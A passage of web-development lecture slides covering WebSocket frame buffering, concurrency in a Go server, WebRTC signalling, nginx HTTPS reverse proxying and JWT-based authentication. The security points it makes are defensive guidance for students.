    • If you read < payload length bytes, you should buffer
    • If you read > payload length bytes, store the extra bytes as the start of the next frame

Back-to-back Frames

  • Two frames are sent by the client back-to-back
    • The first frame has a payload length of 1500
      • 1508 total bytes including headers
    • The second frame has a payload length of 2000
      • 2008 total bytes including headers
  • Both frames have been processed by TCP and are ready to be read
Frame FIN Payload Length Total Bytes
1 1 1500 1508
2 1 2000 2008

Back-to-back Frames

  • There are 3516 bytes ready to be read from the socket
  • And you call conn.Read(buffer) with a 2048 byte buffer
    • This will read up to 2048 bytes from the socket
    • There are >2048 bytes ready, so you get the first 2048
  • You read the entirety of the first frame, and the first 540 bytes of the second frame

Frame 1 (payload length 1500, 1508 bytes total) followed by Frame 2 (payload length 2000, 2008 bytes total). A bracket labeled Read 1: 2048 bytes covers all of Frame 1 and the first 540 bytes of Frame 2.

Back-to-back Frames

  • If you're not careful, your loop will go back to the socket and read the remaining 1468 bytes of the second frame and attempt to parse it
  • Since you start in the middle of the frame, you will run header parsing code on masked payload bytes
    • You will get errors!

The same two frames. A bracket labeled Read 2: 1468 bytes covers the end of Frame 2, starting in the middle of Frame 2's payload.

Back-to-back Frames

  • When parsing the first frame:
    • Use the payload length to detect that you've read too many bytes
    • Store the extra bytes in a separate data structure
    • Parse the first frame

The same two frames. The first read is split in two. A bracket under Frame 1 reads Frame 1: 1508 bytes, parse it. A bracket under the first 540 bytes of Frame 2 reads 540 extra bytes, save them.

Back-to-back Frames

  • When you finish processing the first frame, start parsing the second frame with the stored bytes
  • Check the payload length and buffer if needed to read the rest of the frame
  • Recommendation: Use your top-level WS loop to do this so you can handle any number of back-to-back frames
    • Only read from the socket if you don't have any stored bytes, or you are buffering with a known payload length

The same two frames. Frame 1 is dimmed and labeled done. Under Frame 2, one bracket covers the 540 saved bytes and another covers Read 2: 1468 bytes, the rest of Frame 2. A bracket under both reads Frame 2: 540 + 1468 = 2008 bytes.

Multiple Frames in One Read

  • The client sends 4 small frames back-to-back
    • Each has a payload length of 592: 600 bytes including headers
    • 2400 bytes are ready to be read
  • conn.Read(buffer) with a 2048 byte buffer returns:
    • All of frames 1, 2, and 3 (1800 bytes)
    • The first 248 bytes of frame 4

Four back-to-back frames, each with payload length 592 and 600 bytes total. A bracket labeled Read 1: 2048 bytes covers Frames 1, 2, and 3 and the first 248 bytes of Frame 4.

Multiple Frames in One Read

  • Handle frames 1, 2, and 3 before you read again
  • Frame 4 is incomplete: keep its 248 bytes and read more bytes from the socket
    • Second read returns the last 352 bytes of frame 4

The same four frames. Brackets under Frames 1, 2, and 3 read 1. handle it, 2. handle it, and 3. handle it. Under Frame 4, one bracket covers 248 saved bytes and another covers Read 2: 352 bytes. A bracket under all of Frame 4 reads Frame 4: 248 + 352 = 600 bytes.

Don't Assume the Header Arrived

  • With back-to-back frames, a read could end in the middle of the headers of a frame
    • Even 1 byte into the next frame's header
  • Before parsing a header, check that you have all of its bytes
    • If you don't, read more
  • Make sure you have at least 2 bytes before parsing
    • Check the 7-bit payload length to see if you have all the header bytes
    • Buffer as needed
  • This will not be explicitly checked during HW4 grading, but you might experience strange bugs if you don't handle it

Limits

Don't Trust the Length

  • The payload length is chosen by the client
    • The 64-bit length lets an attacker claim a 16 EB frame
  • Don't allocate make([]byte, payloadLength) from an untrusted length
  • An attacker can also send continuation frames forever
    • Limit the total size of a message, not only the size of a frame
  • Too big? Send a close frame with status 1009 (Message Too Big) and close the connection

Testing

Back-to-back Frames

  • To test for back-to-back frames:
    • Edit the front end JavaScript to send a message multiple times when the user sends a message
    • Make sure each message is duplicated the correct number of times
    • With this modification, every echoed message should appear 5 times
for (let i = 0; i < 5; i++) {
    socket.send(JSON.stringify({'messageType': 'echo_client', 'text': text}));
}

Testing Without a Browser

  • The browser decides how your messages are split. You can't control it
  • Write a small Go test client
    • net.Dial("tcp", "localhost:8080"), send a handshake, read the 101
    • Then write hand-built frames with exact control over every byte
  • Things to try:
    • Two frames in one Write (back-to-back)
    • One frame split across two Writes with a time.Sleep between them (split header)
    • A pong between two continuation frames
  • Frames from a client must be masked, but the mask can be 00 00 00 00
    • XOR with 0 doesn't change the payload, so you can read your test frames

WebSocket Concurrency

Sharing state between goroutines: data races, mutexes, the race detector, heartbeats, slow clients, and C10k

Shared State

Before WebSockets

  • Recall: One goroutine per TCP connection
  • Each goroutine only touched its own connection
    • A request arrives on a connection, the response goes back on the same connection
  • Shared data lived in the database
    • The database handles concurrent access for you
  • Goroutines never had to know about each other

WebSockets Change This

  • A message on one connection causes writes on other connections
    • Broadcasting the active users list
    • Sending a DM to another user
    • Forwarding a WebRTC offer to another peer
  • Goroutines need a shared data structure to find each other's connections
    • e.g. A map of username to Connection
  • Many goroutines will read and write the same memory concurrently

Who Touches the Shared Data?

Event Goroutine Access
A handshake completes The new connection's Add a client
A close frame or read error The closing connection's Remove a client
No pong in time A heartbeat goroutine Remove a client
A user's list changes Whoever changed it Read every client
A DM is sent The sender's Find the recipient's clients
  • Any of these can happen at any moment, or all at once

Data Races

Data Races

  • A data race: two goroutines access the same memory at the same time, at least one of them writes, and nothing coordinates them
  • The result depends on timing: lost updates, corrupted data, crashes

Maps Are Not Safe

  • Go maps are not safe for concurrent use
  • The runtime checks for concurrent access and kills your entire server:
fatal error: concurrent map writes
fatal error: concurrent map read and map write
  • This is not a panic you can recover from
    • Server crashes
    • Every user is disconnected, not just the one who triggered it
  • It only happens when the timing lines up
    • Server works perfectly with 2 tabs open
    • Crashes with 50 connections

The Race Detector

go run -race .
  • Watches every memory access while your server runs
  • Can report races that happen, even if nothing crashed
  • It will not find all your races
    • Misses many races when networking is involved (Most goroutines are waiting to read from a socket)
    • Only finds races that actually happen while it runs
    • Open many connections at once while testing to maximize the races it finds
  • Slower and uses more memory. Use it while developing, not in production

Mutexes

sync.Mutex

type Registry struct {
    mu      sync.Mutex
    clients map[*Client]bool
}

func (r *Registry) Add(client *Client) {
    r.mu.Lock()
    defer r.mu.Unlock()
    r.clients[client] = true
}
  • Only one goroutine can hold the lock at a time
    • Every other goroutine waits at Lock() until it is unlocked
  • The code between Lock() and Unlock() is a critical section
  • defer unlocks even if the function returns early

Every Access Needs the Lock

  • Reads need the lock too
    • A read during a write can see a half-updated map
  • Wrap the map in a struct, and only touch it through methods that lock
    • It's then impossible to forget the lock somewhere

Deadlock

  • Go's mutexes are not reentrant
    • Locking a mutex you already hold blocks forever
  • Your server doesn't crash. It stops responding to anything that needs that lock
  • Decide which functions expect the lock to already be held, and never call a locking function while holding the lock

Check, Then Act

  • Example: a map from username to connection
// Wrong: the map can change between the two critical sections
r.mu.Lock()
_, exists := r.users[username]
r.mu.Unlock()
if !exists {
    r.mu.Lock()
    r.users[username] = client
    r.mu.Unlock()
}
  • Every individual access holds the lock, and there's still a bug
    • Two goroutines can both see exists == false before either writes
  • The check and the action must be in the same critical section

Multiple Tabs

  • One user with 3 tabs open = 3 connections with the same username
  • The active users list should show them once
    • Store connections, not users
    • Build the list from the unique usernames of all connections
  • A user leaves the list only when their last connection closes
  • Sending to a user means sending to every one of their connections
    • A DM should appear in all 3 tabs

This is an optional objective on HW4

Writing to Connections

Who Writes to a Connection?

  • Its own goroutine (eg. echo replies)
  • Other connections' goroutines (broadcasts, DMs, WebRTC signaling)
  • Its heartbeat goroutine (a ping every 5 seconds)
  • Many goroutines write to the same socket at the same time

Interleaved Frames

conn.Write(header)        // Goroutine A sends a frame in two writes...
                          // ...Goroutine B: conn.Write(pingFrame)
conn.Write(payload)
  • The browser reads A's header, then B's ping as if it were A's payload
    • Every byte after that is parsed from the wrong position
    • The browser closes the connection with an error
  • net.Conn allows concurrent writes, and the bytes from one Write call are sent together
    • Two Write calls for one frame can be split apart
  • Send entire frames in one Write, or protect writes with a mutex

One Reader Per Connection

  • Do not read concurrently from the same socket
  • Only the connection's own goroutine reads from its socket
  • Two goroutines reading the same socket each get random pieces of the stream
    • Neither can parse frames
  • Other goroutines only ever write to a connection

Heartbeat goroutine

  • Start a heartbeat goroutine for each connection after the handshake
  • When the reading goroutine sees a pong frame, notify the heartbeat goroutine
    • Shared data
    • Message over a channel
  • When a connection ends, end the heartbeat goroutine for that connection as well
  • Otherwise, you have a goroutine leak
    • The heartbeat keeps sending pings to a closed socket
    • Memory grows with every disconnect

C10k

The C10k Problem

  • 1999: How can one server handle 10,000 connections at the same time?
  • One OS thread per connection
    • Each thread reserves megabytes for its stack
    • Switching between thousands of threads is expensive
  • The answer at the time: event loops
    • One thread watches thousands of sockets
    • Runs a callback when a socket is ready
    • nginx and Node.js work this way
  • The cost: callbacks everywhere, and you can never block

Goroutines and C10k

  • Goroutines start with a stack of a few KB that grows as needed
  • A goroutine blocked on Read is parked until its socket has data
    • It isn't holding an OS thread while it waits
  • You write simple blocking code, one goroutine per connection
    • You get the scalability of an event loop
  • A big reason Go is popular for servers

WebSockets Make It Real

  • HTTP: A connection is busy for milliseconds
  • WebSockets: Every open tab holds a connection for hours
    • 10,000 users online = 10,000 open connections, all the time
  • Each connection on your server: 2-3 goroutines (reader, heartbeat, maybe writer), a read buffer, and an entry in your registry
  • Limits you'll hit before the CPU:
    • File descriptors: every socket is a file, and ulimit -n is often 1024 by default (Can be raised to millions)
    • Memory for each connection's buffers
    • Broadcasts: one message to 10,000 users is 10,000 writes

Testing Concurrency

Your Server Under Load

  • Two browser tabs will never find these bugs
  • Write a Go load test:
    • 100 goroutines, each opening a WebSocket connection
    • All sending messages at the same time
    • All disconnecting at the same time
  • Run your server with go run -race . while the test runs
  • Check that:
    • Your server is still running
    • Every frame the clients received parses
    • A new connection gets an accurate active users list
  • This is how HW4 will be tested

Further Reading

WebRTC Details

Signaling, NATs, STUN, ICE candidates, and TURN: how two browsers find each other for a peer-to-peer connection

WebRTC

WebRTC - Overview

  • Web Real Time Communication
  • Establishes a live streaming peer-to-peer connection
    • We'll stream video and audio to make a video chat app
  • Stable release in 2018
  • Widely adopted by major browsers
    • Most of the WebRTC logic/code is built into your browser

WebRTC - Overview

  • WebRTC establishes a live streaming peer-to-peer connection
  • Peer-to-peer
    • Two clients will communicate without the use of a server
    • Your server will only help the clients establish the connection
    • The server does not handle the steaming data
  • Live streaming
    • The protocol is meant for live (real-time) streaming
    • End-to-end delay is critical!
    • Even a small delay will result in clients talking over each other on a voice/video call

WebRTC - Overview

  • TCP can be slow!
    • Meant for reliability
    • If a packet is dropped, request a resend and wait
    • Only deliver bytes after all packets arrive and are reassembled
    • Not suitable for live [real-time] streaming*

Other protocols are used when delays are tolerable (ie. not real-time) like YouTube Live or Twitch

WebRTC - Overview

  • WebRTC uses UDP instead of TCP
  • UDP (User Datagram Protocol)
    • Meant for speed
    • If a packet is dropped, it's lost forever. Move on with your life
    • Bytes are delivered as soon as they are received
    • Very close to using raw IP packets

WebRTC - Overview

  • Servers are still involved
    • We'll discuss 3 types of servers that assist in WebRTC connections
  • Signalling Server
    • Passes messages between clients to help them establish a peer-to-peer connection
    • Once the connection is established, the server's job is done (Unless you want to pass a disconnect message)
  • STUN (Session Traversal Utilities for NAT) Server
    • A server that tells clients their public IP/port
  • TURN (Traversal Using Relays around NAT) Server
    • Optional for WebRTC connections [Most of the time]
    • All WebRTC packets for a connection are routed through the TURN server if one is used

WebRTC

  • Need to establish a real-time streaming peer-to-peer connection
  • But how?
    • Need the IP address of your peer
    • Need to agree on the details of the connection

Two peers with a dashed two-way arrow between them: they want a direct peer-to-peer connection.

WebRTC - Connecting

  • One peer needs to get an offer to the other peer
  • This is an offer to establish a connection that contains:
    • audio/visual codec, bitrate, etc details (How to interpret the bytes once the streaming starts)
    • A username fragment ("ice-ufrag") as a unique identifier

Peer 1 sends a webRTC-offer to peer 2.

WebRTC - Connecting

  • The peer responds with an answer
  • The answer contains their audio/visual data
  • Contains their own ufrag so the connection can be identified
  • Once the answer is received, the peers agree to connect

Peer 1 sends a webRTC-offer to peer 2, and peer 2 replies with a webRTC-answer.

WebRTC - Connecting

  • But there's a problem
  • How do we send these messages between two peers?

Peer 1 sends a webRTC-offer to peer 2, and peer 2 replies with a webRTC-answer. A large question mark sits between them: how do these messages reach the other peer?

WebRTC - Connecting

  • For usual web traffic with a server:
    • Type in a domain name or click a link containing a domain name
    • Use DNS to lookup the [static] IP address of the server
    • Send a request to the IP address on port 80 or 443

Peer 1 sends a webRTC-offer to peer 2, and peer 2 replies with a webRTC-answer. A large question mark sits between them: how do these messages reach the other peer?

WebRTC - Connecting

  • For peer-to-peer traffic:
    • We need to discover the IP and port of the peer without DNS
    • Peer IP/port can change (dynamic IP)

Peer 1 sends a webRTC-offer to peer 2, and peer 2 replies with a webRTC-answer. A large question mark sits between them: how do these messages reach the other peer?

WebRTC - Signalling Server

  • Offer and answer are sent through a signaling server
    • On the HW - You are the signaling server!!
  • Both peers connect to your server
  • Send offer/answer to the server and the server forwards the messages to the other peer

Peer 1 sends a webRTC-offer to the signalling server, which forwards it to peer 2. Peer 2 sends a webRTC-answer to the signalling server, which forwards it to peer 1.

WebRTC - Signalling Server

  • We need a method to send these messages
  • We'll need a way for the server to be able to send messages to each client in real-time

Peer 1 sends a webRTC-offer to the signalling server, which forwards it to peer 2. Peer 2 sends a webRTC-answer to the signalling server, which forwards it to peer 1.

WebRTC - Signalling Server

  • We need a method to send these messages
  • We'll need a way for the server to be able to send messages to each client in real-time
  • Wow! It's really convenient that we have WebSockets!

Peer 1 sends a webRTC-offer to the signalling server, which forwards it to peer 2. Peer 2 sends a webRTC-answer to the signalling server, which forwards it to peer 1.

WebRTC - Signalling Server

  • When your server receives a WebSocket frame containing an offer or answer
    • Send the payload to the other peer over their WebSocket

Peer 1 sends a webRTC-offer to the signalling server, which forwards it to peer 2. Peer 2 sends a webRTC-answer to the signalling server, which forwards it to peer 1.

WebRTC - NATs

  • We have another issue..
  • How do we know the IP address and port for each peer?

Peer 1 has local address 192.168.0.5 port 8956 behind a NAT, which talks to the signalling server from public address 159.89.179.140 port 10678. Peer 2 has local address 192.168.0.52 port 14568 behind a NAT, which talks to the signalling server from public address 23.34.59.30 port 5670.

WebRTC - NATs

  • Devices are commonly "hidden" behind NAT routers
    • Network Address Translation
  • With a NAT:
    • You have a local IP address for communication on your local network
    • When communicating outside your network, the NAT router sends your message using a public IP address and port number

Peer 1 has local address 192.168.0.5 port 8956 behind a NAT, which talks to the signalling server from public address 159.89.179.140 port 10678. Peer 2 has local address 192.168.0.52 port 14568 behind a NAT, which talks to the signalling server from public address 23.34.59.30 port 5670.

WebRTC - NATs

  • With a NAT:
    • Many devices on a local network can share a single public IP address
    • Each device does not know it's public IP/port used when it communicates to the outside world
    • [Also the problem that port-forwarding solves]

Peer 1 has local address 192.168.0.5 port 8956 behind a NAT, which talks to the signalling server from public address 159.89.179.140 port 10678. Peer 2 has local address 192.168.0.52 port 14568 behind a NAT, which talks to the signalling server from public address 23.34.59.30 port 5670.

WebRTC - STUN Server

  • Solution: Use a STUN (Session Traversal Utilities for NAT) Server
  • Each peer connects to a STUN server and asks for their public IP/port
  • STUN server checks the origin IP/port and informs the client
  • We'll use Google's free STUN server (stun.l.google.com:19302)

Each peer, behind its NAT, asks a STUN server: What's my IP?

WebRTC - ICE Candidate

  • Each peer sends their public IP/port, and connection information, in an ICE (Interactive Connectivity Establishment) candidate message
  • Whenever your signaling server receives an ICE candidate, forward it to the other peer

Each peer asks its STUN server: What's my IP? Then each peer sends a webRTC-candidate through the signalling server to the other peer.

WebRTC - ICE Candidate

  • Candidate contains:
    • Connection type - UDP, not TCP
    • IP/port - Local in this example
    • Username fragment - Uniquely identifies the connection

Each peer asks its STUN server: What's my IP? Then each peer sends a webRTC-candidate through the signalling server to the other peer.

WebRTC - ICE Candidate

{"candidate":"candidate:2382557538 1 udp 2122260223 192.168.1.19 54090 typ host generation 0 ufrag FGP/
 network-id 1 network-cost 10","sdpMid":"0","sdpMLineIndex":0}

Each peer asks its STUN server: What's my IP? Then each peer sends a webRTC-candidate through the signalling server to the other peer.

WebRTC - Connection

  • And now we can establish a peer-to-peer connection!

Each peer asks its STUN server: What's my IP? The webRTC-offer, webRTC-answer, and webRTC-candidate messages travel between the peers through the signalling server.

WebRTC - Summary

  • One peer sends an offer to the other
  • Other peer responds with an answer
  • Both peers get their public IP/port from their STUN Servers
  • Both peers send their ICE candidates to the other

Each peer asks its STUN server: What's my IP? The webRTC-offer, webRTC-answer, and webRTC-candidate messages travel between the peers through the signalling server.

WebRTC - Summary

  • Once the connection is established
  • The servers step aside and the clients stream directly to each other
    • True peer-to-peer!

The peers stream audio and video directly to each other. The signalling server and STUN servers are no longer involved.

WebRTC - Summary

  • Your role in all of this?
    • Route the offer/answer/candidate messages between peers
  • No need to read/parse/interpret the RTC portion of these messages
    • Extract the payload from the WS frame, send it to the appropriate peer as a new WS frame

Each peer asks its STUN server: What's my IP? The webRTC-offer, webRTC-answer, and webRTC-candidate messages travel between the peers through the signalling server.

WebRTC - Restrictions

  • The browser will not allow WebRTC connections when connected to a site using HTTP (as opposed to HTTPS)
  • Must have an encrypted connection to use WebRTC
    • *Unless connecting over localhost (Let's us test locally)

Each peer asks its STUN server: What's my IP? The webRTC-offer, webRTC-answer, and webRTC-candidate messages travel between the peers through the signalling server.

WebRTC - Restrictions

  • Sometimes a peer-to-peer connection cannot even be established
    • Can have restrictive firewalls
    • Dynamic NATs might change your port unexpectedly
    • Organizations might block certain traffic on their network

Each peer is behind a NAT and a firewall. There is no connection between them.

WebRTC - TURN Server

  • In cases where peer-to-peer is blocked:
    • Use a TURN (Traversals Using Relays around NAT) Server
    • After the connection is established using a signaling server, each peer routes their streaming data through a TURN server

Each peer is behind a NAT and a firewall. Both peers stream audio and video to a TURN server, which relays it to the other peer.

WebRTC - TURN Server

  • If you ask me... using a TURN server defeats the purpose of using a peer-to-peer technology
  • ... Unless you run your own TURN server!

Each peer is behind a NAT and a firewall. Both peers stream audio and video to a TURN server, which relays it to the other peer.

Further Reading

Reverse Proxy Servers - Nginx

Deploying your app behind nginx

HTTPS with Nginx

The Problem

  • We want to use HTTPS
    • Encrypts all web traffic
  • Prefer not to modify your app code
    • Makes our code more modular and portable
    • Your HTTPS setup can change without changing your app
  • Solution: Use a reverse proxy

Nginx

  • Nginx has many uses and is very powerful software
    • Recall that it was used for our RTMP ingest server
  • For now, we'll use it here as a reverse proxy to enable HTTPS
    • We'll setup HTTPS now. Later lectures will explain what HTTPS is and how it works
  • One nginx can route requests
    • On the project: route /register, /login, and /logout to your auth service, and everything else to your app
    • Nginx could serve your static files
    • Can route by domain name to host many apps on the same server

Nginx Strategy

  • Use Nginx to listen for HTTPS requests
    • Nginx needs a cert and private key
  • Nginx will decrypt requests and forward them to your server as HTTP requests
    • These unencrypted requests are sent over a local network and never touch the Internet
    • They do not need to be encrypted
  • Your server sends HTTP responses to Nginx
    • Nginx encrypts and sends the HTTPS response over the Internet
  • If Nginx gets an HTTP request (port 80) redirect the user to HTTPS (port 443)

Nginx Strategy

On the Internet, the user sends an HTTPS request on port 443 to Nginx. Inside your network, Nginx forwards it as an HTTP request on port 8080 to your server. Your server sends an HTTP response on port 8080 back to Nginx, and Nginx sends an HTTPS response on port 443 back to the user.

Certificates

OpenSSL

  • OpenSSL is a very common SSL/TLS library
    • Written in C
    • Wrappers exist for many languages
  • Can be used for many encryption needs
    • Generating keys
    • Signing certs
    • Validating certs
  • Can use OpenSSL in the command line to generate self-signed certificates

Self-Signed Certificate

openssl req -x509 -newkey rsa:4096 -keyout private.key -out cert.pem -days 365 -sha256 -nodes -subj "/C=US"
  • This command will generate a self-signed certificate and a private key
    • Private key saved as private.key
    • Certificate saved as cert.pem
  • The browser warns every user: no certificate authority vouched for it
    • Fine for testing. Not for a deployed app

Let's Encrypt

  • A certificate authority that issues free certificates
    • Trusted by every major browser
  • Before issuing a certificate, it checks that you control the domain
    • The script generates a random file and edits your nginx config to host the file
    • It then asks for the file at your domain name
    • Only the server your domain points to can serve that file
    • If it gets the file, you must control that domain name
  • Certbot automates all of this

Certbot

  • Saves your certificate and private key:
    • /etc/letsencrypt/live/example.com/fullchain.pem
    • /etc/letsencrypt/live/example.com/privkey.pem
  • Edits your nginx config to use these files

Domain Names

  • Register a domain name
    • The GitHub Student Developer Pack includes a free domain for 1 year
  • Add an A record that maps your domain to your server's public IP
    • example.com → 159.89.179.140
  • DNS changes can take minutes to hours to reach everyone
    • It's often seconds, but be prepared in case it takes hours
  • Get your DNS working before running Certbot
    • Certbot cannot verify your domain name if you don't have one setup

Nginx Configuration

Redirect HTTP to HTTPS

server {
    listen 80;
    server_name yourgame.me;
    return 301 https://$host$request_uri;
}
  • Any request on port 80 gets a 301 to the same path over HTTPS
  • $host and $request_uri are filled in by nginx for each request
  • Certbot can set this up for you

Terminate TLS and Proxy

server {
    listen 443 ssl;
    server_name example.com;
    ssl_certificate     /etc/letsencrypt/live/yourgame.me/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourgame.me/privkey.pem;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
    }
}
  • localhost is an alias for 127.0.0.1
    • Using 127.0.0.1 does not require resolution
    • They can mostly be used interchangeably

WebSockets Through Nginx

location /websocket {
    proxy_pass http://127.0.0.1:8080;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
}
  • location uses prefix routing by default
    • Any path starting with /websocket gets routed with this config
  • Upgrade and Connection apply to one hop only. Nginx drops them unless you set them again

WSS in the Front End

  • A page loaded over HTTPS can't open a ws:// connection
    • The browser blocks it as mixed content
  • Pick the protocol from the page's own protocol:
const protocol = location.protocol === "https:" ? "wss://" : "ws://";
const socket = new WebSocket(protocol + location.host + "/websocket");
  • The same code works at http://localhost:8080 and on your deployed domain

Deploying

Nginx in Deployment

  • Two possible setups
  • Nginx runs on your server directly
    • Handles encryption
    • Routes all traffic to your app
    • Extra setup involved that is not part of docker compose
  • Nginx runs in a docker container
    • Easier to deploy -- docker compose up
    • More difficult to run certbot

Nginx in Deployment - Recommendation

  • Nginx on server or nginx in docker?
    • Why not both?
  • Run one Nginx instance on your server
    • Only handles encryption
    • Easy to run certbot
  • Run another Nginx instance in a docker container
    • Only handles routing between auth and app services
    • Easy to deploy

Nginx with Docker Compose

services:
  nginx:
    image: nginx
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
  • Only nginx publishes ports. Your app and database are reachable by name inside the compose network
    • Never publish your database's port on a public server
  • nginx.conf can be added to the container using a volume (shown) or create another Dockerfile for nginx
    • In your config, use your service names for hostname (Not localhost or 127.0.0.1)

Secure Cookies

  • Once you have HTTPS
  • Add the Secure directive to your auth cookies
    • The browser only sends them over HTTPS

Further Reading

JSON Web Tokens (JWTs)

Self-contained auth tokens: How JWTs are built, signed, and verified, and how a separate auth service issues them

JSON Web Tokens (JWTs)

Why JWT?

  • We'll use JWTs for persistent authentication
  • We currently use authentication tokens to solve the same problem
  • Why do we need a new mechanism?
  • What's wrong with auth tokens??

Recall Auth Tokens

  • Server issues an auth token on login
  • Store token in database on login
  • Lookup token in database for authentication

The user/client registers a username and password with the server. The server issues an auth token in a cookie. The user/client then sends requests with the auth token to the server. The server talks to the auth database, which stores passwords and auth tokens.

Recall Auth Tokens

  • The token is opaque
    • Random meaningless bytes
  • Database lookup is required

The user/client registers a username and password with the server. The server issues an auth token in a cookie. The user/client then sends requests with the auth token to the server. The server talks to the auth database, which stores passwords and auth tokens.

Recall Auth Tokens

  • When your app gets HUGE
    • Make it distributed!
    • Separate parts of your app onto different servers

The user/client registers a username and password with the auth server. The auth server issues an auth token in a cookie. The user/client sends requests with the auth token to a separate app server. Only the auth server talks to the auth database, which stores passwords and auth tokens.

Recall Auth Tokens

  • App server needs to verify the auth token

The user/client registers a username and password with the auth server. The auth server issues an auth token in a cookie. The user/client sends requests with the auth token to a separate app server. Only the auth server talks to the auth database, which stores passwords and auth tokens.

Auth Tokens - Distributed

  • App server needs to verify the auth token
  • Option 1: Shared DB
    • App server connects to the same DB as the auth server to lookup the auth token
    • Advantage: Code is simple. Same thing we've been doing
    • Disadvantage: Slow and complex architecture
      • DB must support multiple servers
      • App must connect to the shared DB on every authenticated request

Auth Tokens - Distributed

  • App server needs to verify the auth token
  • Option 2: Server-Server Communication
    • App server sends a request to the auth server to verify the token
    • Advantage: Avoids a shared DB
    • Disadvantage: Slow
      • Every authenticated requests requires the app server, auth server, and the auth DB
      • Might as well have a monolith app (It's effectively not distributed)

Introducing JWTs

  • Instead of auth token
    • Issue a self-contained JWT

The user/client registers a username and password with the auth server. The auth server issues a JWT in a cookie. The user/client sends requests with the JWT to a separate app server. The auth database now stores only passwords.

JWT

  • JWTs are tokens that are designed to be self-contained
    • Contain all information needed for authentication/authorization
    • No need to talk to the DB or the auth server
    • Auth server doesn't even need to store JWTs
  • App server receives a request containing a JWT
    • Verify the token locally

JWT

  • JSON Web Tokens
    • Often pronounced "jot"
  • JSON
    • Contains a payload that must be a JSON object
  • Web
    • Encoded using url-safe characters
    • Can be used in HTTP headers
  • Tokens
    • Typically used for authentication/authorization
    • Can be used to solve any problem that wants tokens

JWT - Structure

  • A JWT is composed of three parts
  • Headers
    • Specifies the type of token, and algorithm used for signing
  • Claims
    • The payload of the token
    • Can contain the identity of the user (Authentication) and any scopes they can access (Authorization)
  • Signature
    • The signature of the token using the algorithm specified in the headers

JWT - Structure

  • Each of the three parts are Base64URL encoded
  • Base64
    • Maps 3 bytes of arbitrary data into 4 ASCII characters
    • 64 characters: a-z, A-Z, 0-9, '+', '/'
    • If length%3 != 0, pad with '='
    • Not suitable for the web
  • Base64URL
    • Replace '+' and '/' with '-' and '_'
    • Omit the padding
    • This avoids all url reserved characters

JWT - Structure

  • Three Base64URL-encoded parts are separated by '.'
  • eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkFsaWNlIn0.Bh0...
  • This token looks opaque
    • It is not!!
  • Base64URL is not a hashing algorithm!
  • Base64URL is not encryption!
  • Your JWTs are effectively plain-text
  • This token has the claim: {"username": "Alice"}

JWT - Usage

  • JWTs are effectively plain text
  • Everyone with access to the token can see the claims
  • Anyone can generate their own tokens with any claims they choose
    • Trivial to impersonate other users
  • Need to verify that the auth server issued the token
    • Sign it!

JWT - Verification

  • The issuer (Auth server) will cryptographically sign the JWTs it issues
  • Apps will verify this signature
  • Attackers cannot forge the signatures
  • Example of a signed JWT:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkFsaWNlIn0.Bh0qjhE-gYMC3uQOORQ7yrsjUeESQ6fBqrt5dpGXRQ5i4z9FCsN1USZVw10MFZf9XPq5mt9MLyMNSrMsvVnCFYcWONbmupgWxMi4MMkziy9LePgFosFX-SSb64mWZsE6t8MG657ZmvkmRpq7AINtOi4UZpFmpTcvNFrVRXIi8os9i6PcPbplBAyPq4a8sIxQXcLqyObr84CZQv3q67NFI-ZP0RQHu9qm65CxdchHVW7kuwTWyTvvZWNMS3Ga_9VY2QdYr8oyMAYDySCwtaL5eTk8Zm8TNiBHLCD15H8A7IQ7_r2V7cXxeXBgDXfs1DqufcEv6lSsBN1i3rat096bxlPM183zTRKD-WYHLzIJV1FTRCms4lmwYlPfDski-nX41sWIvUk2FNtuWl1QcQmR8WVxFhXtmicka4caU83iL_zlTGVTswuW5Bd6UBsJ1c9c_OBE28RnMtR23duJZsL7lTqCIn9H_7GvLrwWy1JgAp4CRqeiFR8j8vJne1XcIJJ9hJVWL-2bdbe6Iu_SAWUpmiAeXy3NfJaTibSSCANs2ple_eCY7mg1ebrGHIdNq9W3izjHwyNFAg8p5K3aNnv8rLe6yJhXg0CS94s3oLkhiEa83y4pvnjO2Adgm9o4Z3uE0Hb1nZN_LJuOWMZbdPZavmPKlTFsSzUZ_hE0AdWtabc

JWT - Verification

  • Public/Private key
    • In CSE312, we'll prefer to sign tokens with a private RSA key using the RS256 algorithm
    • This algorithm computes a SHA256 hash of the encoded headers and claims of the token
    • Sign this hash using the auth server's private key
    • The Base64URL encoding of this signature is the 3rd part of the token
  • App server has the auth servers public key
    • Use the public key to verify the signature

JWT - Verification

  • Public/Private key
    • Attackers can generate JWTs with valid headers and claims
    • Attackers cannot forge the signature
  • If the signature is not valid, do not accept the token

JWT - Verification

  • Shared Secret
    • Alternatively, all servers can control a shared secret used to both sign and verify signatures
    • If the secret is not compromised, this is just as good as private key signatures
    • Downside:
      • Expands your attack surface
        • Attacker who compromises any server has your shared secret
      • Not wise if you're issuing tokens that are verified by 3rd party servers
    • Not allowed on the project. Only your auth service may have the signing key

Registered Claims

  • RFC 7519 defines some standard claims. All are optional
    • exp: Expiration time, in seconds since 1970. Reject the token after this time
    • iat: When the token was issued
    • sub: Who the token is about (eg. the user's id)
    • iss: Who issued the token (eg. your auth service)
  • Always set exp
    • A JWT can't be revoked. Expiring is how it stops working

Verifying a JWT

  • Use a library
  • Check the signature with the auth service's public key
  • Check exp
  • Choose the algorithm yourself. Never use the one in the token's header
    • An attacker can set "alg": "none", or switch RS256 to HS256 and sign with your public key

Storing JWTs

  • Store the JWT in a cookie, the same way as an auth token
    • HttpOnly: JavaScript can't read it, so an XSS attack can't steal it
    • Secure: Only sent over HTTPS
  • Avoid localStorage
    • Any script running on your page can read it

Logging Out

  • The auth service doesn't store JWTs, so it can't delete one
  • Logging out deletes the cookie from the browser
    • A copy of the token still works until it expires
  • Options:
    • Short-lived tokens, plus refresh tokens to get new ones (Recall OAuth)
    • Any other option requires communication with the auth server or database (This is what we're trying to avoid)

Compromised JWTs

  • A compromised JWT is valid until it expires
  • Just like logging out, the auth server has no way to revoke a JWT once it's issued
  • Using short expiration times limits the damage that can be done (Typically ~1 hour)

JWT - Encryption

